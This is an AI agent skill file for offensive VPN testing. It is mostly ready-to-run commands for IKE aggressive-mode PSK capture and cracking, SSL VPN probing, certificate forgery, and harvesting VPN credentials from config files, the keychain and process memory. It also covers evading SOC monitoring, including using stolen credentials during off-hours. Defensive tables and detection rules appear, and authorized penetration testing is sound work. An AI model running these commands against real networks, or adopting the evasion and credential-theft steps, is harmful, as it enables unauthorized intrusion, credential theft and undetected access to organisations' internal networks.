vpn-attack

name	vpn-attack
description	Virtual Private Networks (VPNs) are a critical component of enterprise network security, providing encrypted tunnels for remote access and site-to-site connectivity.
origin	openclaw
version	0.2.0.2
compatibility	["openclaw","claude-code","cursor","windsurf"]
allowed-tools	["Bash","Read","Write","Edit","WebSearch","WebFetch","Agent"]
metadata	{"domain":"security","tool_count":5,"guide_count":8,"last_reviewed":"2026-07-26"}

Skill: VPN Attack

Supplementary Files:

• payloads.md — Payload collection organized by 12 VPN attack categories (IKE enumeration, PSK cracking, transform set discovery, SSL VPN exploitation, tunnel testing, certificate attacks, credential brute force, tunnel hijacking, split tunneling detection, client config testing, detection avoidance)
• test-cases.md — Structured test case templates (8 cases covering IKE enumeration, aggressive mode PSK cracking, transform set discovery, SSL VPN enumeration, IPSec tunnel testing, certificate analysis, credential brute force, split tunneling detection)
• guides/ipsec-vpn-enumeration-fingerprinting-guide.md — IPSec VPN reconnaissance and fingerprinting complete guide
• guides/ssl-vpn-exploitation-guide.md — SSL VPN attack techniques guide
• guides/vpn-credential-tunnel-attack-guide.md — VPN credential and tunnel attack guide
• guides/wireguard-attack-guide.md — WireGuard protocol analysis, configuration extraction, peer enumeration, crypto attacks
• guides/openvpn-attack-guide.md — OpenVPN security assessment, certificate analysis, compression attack, TLS downgrade
• guides/vpn-credential-brute-force-guide.md — IKE aggressive mode brute force, credential spraying, MFA bypass techniques

Summary

Vpn Attack skill domain covering security operations.

Tools: ike-scan, ikeforce, ikecrack, vpnc, strongswan

Domain: security

Description

Virtual Private Networks (VPNs) are a critical component of enterprise network security, providing encrypted tunnels for remote access and site-to-site connectivity. This skill covers the full spectrum of VPN attack methodologies targeting IPSec/IKE, SSL/TLS-based VPNs, and related infrastructure. Attackers exploit weak pre-shared keys, misconfigured IKE parameters, certificate handling flaws, and implementation vulnerabilities to gain unauthorized access or intercept VPN traffic.

The attack surface includes IKE Phase 1 and Phase 2 negotiations, VPN gateway web interfaces, authentication mechanisms (PSK, certificates, XAUTH), tunnel configuration parameters, and client-side vulnerabilities. Understanding these attack vectors is essential for both offensive security testing and defensive hardening of VPN deployments.

Use Cases

1. Enterprise VPN penetration testing — Assess the security posture of corporate VPN gateways, identify weak configurations, and test authentication mechanisms during authorized engagements
2. IKE/IPSec security assessment — Enumerate supported transform sets, identify aggressive mode configurations vulnerable to offline PSK cracking, and test for IKE implementation flaws
3. SSL VPN gateway testing — Evaluate web-based VPN portals for known CVEs, authentication bypass, and session management weaknesses across vendors (Fortinet, Pulse Secure, Palo Alto, Cisco)
4. VPN credential auditing — Test pre-shared key strength through offline cracking, audit certificate management practices, and assess XAUTH credential policies
5. Network lateral movement via VPN — Test tunnel hijacking, split tunneling exploitation, and routing manipulation to assess the impact of compromised VPN access
6. VPN hardening guidance — Provide actionable remediation recommendations based on discovered vulnerabilities to strengthen VPN infrastructure

Core Tools

Tool	Purpose	Command Example
ike-scan	IKE enumeration, fingerprinting, and transform set discovery	ike-scan -M -A --id=vpn --pskcrack target
ikeforce	Aggressive mode PSK brute force and VPN enumeration	ikeforce.py target -e -i vpn_id -w wordlist.txt
ikecrack	Offline IKE PSK cracking from captured exchanges	ikecrack -p psk_hash.txt -w dictionary.txt
vpnc	IPSec VPN client for testing connectivity and configurations	vpnc --local-port 0 /etc/vpnc/test.conf
strongswan	Full IPSec stack for advanced VPN testing and tunnel manipulation	swanctl --load-all --initiate --ike home

Methodology

Attack Chain

Discovery → Enumeration → Authentication Attack → Tunnel Exploitation → Post-VPN Access

1. Discovery (Identify VPN gateways)

• Port scan for IKE (UDP 500, 4500), SSL VPN (TCP 443, 8443, 10443)
• Identify VPN vendors via banner grabbing, certificate analysis, and web interface fingerprinting
• Detect supported protocols: IPSec/IKEv1, IKEv2, SSL/TLS, PPTP, L2TP

2. Enumeration (Gather VPN parameters)

• Enumerate IKE transform sets using ike-scan with different encryption/hash/DH group combinations
• Identify IKE mode (aggressive vs main) to determine PSK cracking feasibility
• Discover valid VPN identifiers (group names, tunnel IDs) for aggressive mode
• Fingerprint VPN gateway vendor and version via Vendor ID payloads

3. Authentication Attack (Compromise credentials)

• Aggressive mode PSK capture and offline cracking with ikecrack/ikeforce
• XAUTH credential brute force against IKE Phase 1 authenticated sessions
• SSL VPN portal credential testing and authentication bypass
• Certificate-based attacks: forged certificates, CA compromise analysis

4. Tunnel Exploitation (Abuse established tunnels)

• Split tunneling detection and exploitation for routing manipulation
• Tunnel hijacking via session injection or routing table manipulation
• Inner IP address enumeration and lateral movement within VPN network
• DNS and traffic interception through compromised tunnel

5. Post-VPN Access (Persistence and lateral movement)

• Internal network enumeration through VPN tunnel
• Privilege escalation on VPN gateway management interface
• Persistence via saved VPN profiles or credential harvesting
• Data exfiltration through established encrypted tunnel

Defense Perspective

Defense Measure	Description	Priority
Disable Aggressive Mode	Use Main Mode or IKEv2 to prevent PSK exposure in clear text	CRITICAL
Strong Pre-Shared Keys	Use 20+ character random PSKs; consider certificate-based authentication	CRITICAL
Certificate-Based Auth	Deploy PKI with proper CA management; use EAP-TLS or certificate-based IKE	HIGH
VPN Gateway Patching	Keep VPN appliances updated; monitor CVEs for Fortinet, Pulse Secure, Palo Alto, Cisco	CRITICAL
Split Tunneling Controls	Disable split tunneling or implement strict routing policies	HIGH
Multi-Factor Authentication	Require MFA for all VPN connections; use time-based OTP or push notifications	HIGH
Network Segmentation	Restrict VPN user access via ACLs; limit lateral movement within VPN network	HIGH
VPN Session Monitoring	Log and monitor VPN connections, failed authentications, and unusual patterns	MEDIUM
Dead Peer Detection	Enable DPD to detect and clean up stale IKE sessions	MEDIUM
IKEv2 Migration	Prefer IKEv2 over IKEv1 for improved security and NAT traversal	HIGH

Practical Steps

See payloads.md for detailed payloads and test-cases.md for complete test checklists. Below is a summary of core operations at each stage.

Step 1: VPN Discovery and Port Scanning

# Discover IKE (IPSec) VPN gateways
nmap -sU -p 500,4500,1701 --script=ike-version target_network/24

# Discover SSL VPN portals
nmap -sS -p 443,8443,10443,4443,9443 --script=ssl-cert,http-title target_network/24

# Identify IKE vendor via ike-scan
ike-scan -M target

# Comprehensive VPN service identification
nmap -sU -sS -p 500,4500,1701,443,8443 --script=ike-version,ssl-cert target

Step 2: IKE Enumeration and Fingerprinting

# Enumerate IKE transform sets with ike-scan
ike-scan -M --trans=(1=2,2=1,3=1,4=1) target
ike-scan -M --trans=(1=2,2=2,3=1,4=2) target
ike-scan -M --trans=(1=5,2=1,3=2,4=1) target

# Fingerprint VPN gateway vendor
ike-scan -M --showbackoff target

# Test for aggressive mode with various VPN IDs
ike-scan -M -A --id=vpn target
ike-scan -M -A --id=cisco target
ike-scan -M -A --id=group1 target

Step 3: PSK Cracking

# Capture aggressive mode handshake for offline cracking
ike-scan -M -A --id=vpn --pskcrack target > psk_capture.txt

# Crack captured PSK with ikecrack
ikecrack -p psk_capture.txt -w /usr/share/wordlists/rockyou.txt

# Brute force with ikeforce
ikeforce.py target -e -i vpn_id -w /usr/share/wordlists/rockyou.txt

# Hashcat mode for PSK cracking (if converted to proper format)
hashcat -m 5300 psk_hash.txt /usr/share/wordlists/rockyou.txt

Step 4: SSL VPN Testing

# Enumerate SSL VPN web interface
curl -k https://target:443/
curl -k https://target:10443/remote/logincheck

# Check SSL/TLS configuration
openssl s_client -connect target:443 -tls1
openssl s_client -connect target:443 -tls1_2

# Test for known SSL VPN CVEs
nmap -sS -p 443 --script=http-vuln* target

# Capture and analyze VPN portal traffic
tcpdump -i eth0 -w ssl_vpn_capture.pcap host target and port 443

Step 5: VPN Client Configuration Testing

# Test IPSec connectivity with vpnc
cat > /tmp/test_vpn.conf << 'EOF'
IKE DH Group dh2
IKE Cipher aes256
IKE Hash md5
IPSec Cipher aes256
IPSec Hash sha1
Domain vpn_domain
Vendor cisco
Host target_ip
AuthType psk
Group vpn_group
GroupPassword <cracked_psk>
Xauth username testuser
Xauth password testpass
EOF
vpnc --local-port 0 /tmp/test_vpn.conf

# Test with strongswan (swanctl)
swanctl --load-all
swanctl --initiate --ike test_tunnel

VPN Protocol Comparison

Understanding the differences between VPN protocols is essential for selecting the right attack methodology. Each protocol has distinct characteristics that affect both the attack surface and the available exploitation techniques.

Protocol	Port	Key Exchange	Common Weaknesses	Attack Priority
IPSec/IKEv1	UDP 500, 4500	IKE Phase 1 (Main/Aggressive)	Aggressive mode PSK exposure, weak transforms	HIGH
IPSec/IKEv2	UDP 500, 4500	4-message exchange, EAP	EAP-MSCHAPv2 downgrade, weak PSK	MEDIUM
SSL/TLS VPN	TCP 443, 8443, 10443	TLS handshake	Web app vulnerabilities, session management	HIGH
OpenVPN	UDP/TCP 1194, 443	TLS + custom protocol	Weak PSK, certificate issues	MEDIUM
WireGuard	UDP 51820	Curve25519, ChaCha20	Timing analysis, peer enumeration	LOW-MEDIUM
PPTP	TCP 1723, GRE	MS-CHAPv2	MPPE key recovery, MITM attacks	CRITICAL
L2TP/IPSec	UDP 1701 + IKE	IPSec + L2TP	IKE weaknesses, L2TP info disclosure	MEDIUM
SSTP	TCP 443	TLS	Certificate validation, TLS downgrade	LOW

Protocol selection guidance: PPTP should always be tested first as MS-CHAPv2 can be cracked in seconds. SSL VPNs present the richest attack surface due to their web application nature. IKEv1 aggressive mode configurations are high-value targets for offline PSK cracking. WireGuard and IKEv2 with certificate-based authentication are the most resistant to attack.

Certificate-Based VPN Attacks

Certificate-based authentication is considered more secure than PSK, but certificate management introduces its own attack surface. Misconfigured PKI deployments, weak certificate authorities, and poor revocation handling can undermine the security benefits of certificate-based VPNs.

Certificate Chain Analysis

# Retrieve and analyze the full certificate chain
openssl s_client -showcerts -connect 192.168.1.1:443 </dev/null 2>/dev/null | \
  awk '/BEGIN CERT/{cert=""} {cert=cert $0 "\n"} /END CERT/{print cert | "openssl x509 -noout -subject -issuer -dates"}'

# Check for expired intermediate certificates in the chain
openssl s_client -showcerts -connect 192.168.1.1:443 </dev/null 2>/dev/null | \
  awk '/BEGIN CERT/,/END CERT/' | csplit -z -f /tmp/cert- - '/-----BEGIN/' '{*}' && \
  for f in /tmp/cert-*; do openssl x509 -noout -checkend 0 -in "$f" 2>/dev/null || echo "EXPIRED: $(openssl x509 -noout -subject -in "$f")"; done

Certificate Forgery Testing

# Generate a certificate with matching subject to test for CA validation
openssl req -newkey rsa:2048 -nodes -keyout forged.key -out forged.csr \
  -subj "/C=US/ST=State/O=TargetOrg/CN=vpn.targetorg.com"

# Self-sign the forged certificate
openssl x509 -req -in forged.csr -signkey forged.key -out forged.crt -days 365

# Test if the VPN gateway accepts self-signed certificates (indicates no CA validation)
# Package as PKCS12 for client testing
openssl pkcs12 -export -out forged.p12 -inkey forged.key -in forged.crt

Key certificate attack vectors include: expired or weak CA certificates in the trust chain, self-signed certificates accepted without validation, missing certificate revocation (CRL/OCSP) checks, and weak signing algorithms (MD5, SHA-1) in the certificate chain.

Split Tunneling Detection and Exploitation

Split tunneling configurations route only specific traffic through the VPN tunnel while allowing other traffic to bypass it directly to the Internet. This creates both information leakage risks and opportunities for attackers who have compromised a VPN client.

Detection Methodology

# Method 1: Routing table analysis
ip route show table all | grep -v "tun\|ppp"
# If routes exist that do not go through the VPN interface, split tunneling is active

# Method 2: IP address comparison
VPN_IP=$(curl -s --interface tun0 https://ifconfig.me)
REAL_IP=$(curl -s --interface eth0 https://ifconfig.me)
echo "VPN IP: $VPN_IP, Real IP: $REAL_IP"

# Method 3: DNS leak testing
dig @8.8.8.8 +short myip.opendns.com
# Compare with VPN DNS resolver IP
dig @10.0.0.1 +short myip.opendns.com

Exploitation Scenarios

When split tunneling is enabled, an attacker who compromises a VPN client can use the direct Internet connection for C2 communication while using the VPN tunnel for internal network access. This dual-path approach evades VPN session monitoring because C2 traffic never enters the VPN tunnel. Additionally, DNS queries that bypass the VPN can leak internal domain names and infrastructure details to external DNS resolvers.

VPN Credential Harvesting

VPN credentials are high-value targets because they often provide persistent access to internal networks. Multiple techniques can harvest VPN credentials from both the network and the endpoints.

Network-Based Harvesting

# Capture IKE aggressive mode PSK hashes from network traffic
tcpdump -i any -w ike_aggro.pcap 'udp port 500 and udp[8:1] = 0x30'
# The second byte of IKE payload 0x30 indicates aggressive mode

# Extract MS-CHAPv2 hashes from PPTP VPN traffic
tshark -r pptp.pcap -Y "ppp.chap" -T fields \
  -e ppp.chap.name -e ppp.chap.value -e ppp.chap.challenge

# Capture SSL VPN session cookies from HTTP traffic
tshark -r ssl_vpn.pcap -Y "http.cookie" -T fields \
  -e ip.src -e http.cookie -e http.host 2>/dev/null

Endpoint-Based Harvesting

# Extract saved VPN credentials from NetworkManager
sudo cat /etc/NetworkManager/system-connections/*.vpn 2>/dev/null | grep -i "password\|secret\|psk"

# Retrieve VPN credentials from macOS keychain
security find-generic-password -s "VPN" -w ~/Library/Keychains/login.keychain-db 2>/dev/null

# Extract credentials from VPN client configuration files
find /opt /etc /home -name "*.pcf" -o -name "*.ovpn" -o -name "*.conf" 2>/dev/null | \
  xargs grep -li "password\|secret\|auth-user-pass" 2>/dev/null

# Memory forensics: extract VPN credentials from process memory
strings /proc/$(pgrep openvpn)/environ 2>/dev/null | grep -i "pass\|key\|secret"

VPN Logging and Monitoring Evasion

Stealth during VPN assessment is critical for red team operations and for avoiding detection by SOC teams monitoring VPN infrastructure. VPN gateways typically log connection attempts, authentication failures, and session metadata.

Evasion Techniques

# Slow IKE scanning to avoid rate-limit triggers
ike-scan --delay=10000 -M 192.168.1.0/24

# Fragmented IKE packets to bypass IDS signature matching
ike-scan --cookie --trans='5,1,2,2' -M 192.168.1.1

# Source IP rotation for distributed scanning
for proxy in proxy1 proxy2 proxy3; do
  ssh -L 500:$proxy:500 user@jumphost &
  ike-scan --sport=500 -M 127.0.0.1
  kill %1
done

# SSL VPN enumeration with legitimate user-agent and timing
curl -k -s --connect-timeout 10 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
  --random-wait https://192.168.1.1/remote/login

# Use NAT-T encapsulation to blend IKE with standard NAT traversal traffic
ike-scan -2 --nat-t --trans='5,1,2,2' -M 192.168.1.1

Monitoring Countermeasures for Defenders

Defenders should implement: real-time alerting on IKE aggressive mode attempts, rate-limiting on VPN authentication endpoints, geo-IP blocking for VPN access from unexpected countries, and behavioral analytics to detect anomalous VPN session patterns (unusual times, excessive duration, unexpected internal network scanning through VPN).

Detection Methods

VPN Audit

• Auth anomalies: Multiple VPN auth failures from same source (brute force).
• Concurrent sessions: User with multiple active VPN sessions from different IPs.
• Geo anomalies: VPN login from new country; impossible travel.
• Protocol downgrade: VPN clients using weak protocols (PPTP, L2TP without IPsec).

SIEM Detection Rules

• Splunk SPL: index=vpn sourcetype=auth | stats count by user, src_ip | where count > 10
• VPN vendor logging: Cisco AnyConnect, Palo Alto GlobalProtect, OpenVPN audit.

Defense Evasion Techniques

VPN Compromise Stealth

• Use legitimate credentials: Don't trigger new-login alerts; use stolen but valid creds.
• Mimic user's typical session: Connect from user's typical geo, time of day.
• Off-hours operation: Use stolen VPN during user's typical off-hours (reduces concurrent-session alert).

VPN Bypass

• Split tunneling abuse: Force traffic into split-tunnel path; bypass inspection.
• TLS fingerprinting: Match legitimate VPN client JA3 to bypass SWG.
• Protocol confusion: Use SSL/TLS VPN over HTTP/3 (QUIC); many monitoring tools don't decode.

Learning Resources

Skill supplementary files:

• payloads.md — Complete payload collection (12 VPN attack categories, ready to copy for testing)
• test-cases.md — Structured test case templates (8 cases with prerequisites and expected results)
• guides/ipsec-vpn-enumeration-fingerprinting-guide.md — IPSec VPN reconnaissance and fingerprinting guide
• guides/ssl-vpn-exploitation-guide.md — SSL VPN attack techniques guide
• guides/vpn-credential-tunnel-attack-guide.md — VPN credential and tunnel attack guide
• guides/wireguard-attack-guide.md — WireGuard protocol analysis, configuration extraction, peer enumeration
• guides/openvpn-attack-guide.md — OpenVPN security assessment, certificate analysis, compression attack
• guides/vpn-credential-brute-force-guide.md — IKE aggressive mode brute force, credential spraying, MFA bypass

Related Skills:

• skills/network-pentest/SKILL.md — Network penetration testing fundamentals
• skills/network-tunneling-proxy/SKILL.md — Network tunneling and proxy techniques
• skills/password-attack/SKILL.md — Password attack methodologies
• skills/crypto-attacks/SKILL.md — Cryptographic attack techniques

External Resources:

• RFC 7296 - IKEv2
• IKE Scanner Documentation
• NIST SP 800-77 - IPSec VPN Guide
• CISA Advisory - VPN Security
• HackTricks - IPSec/IKE Pentesting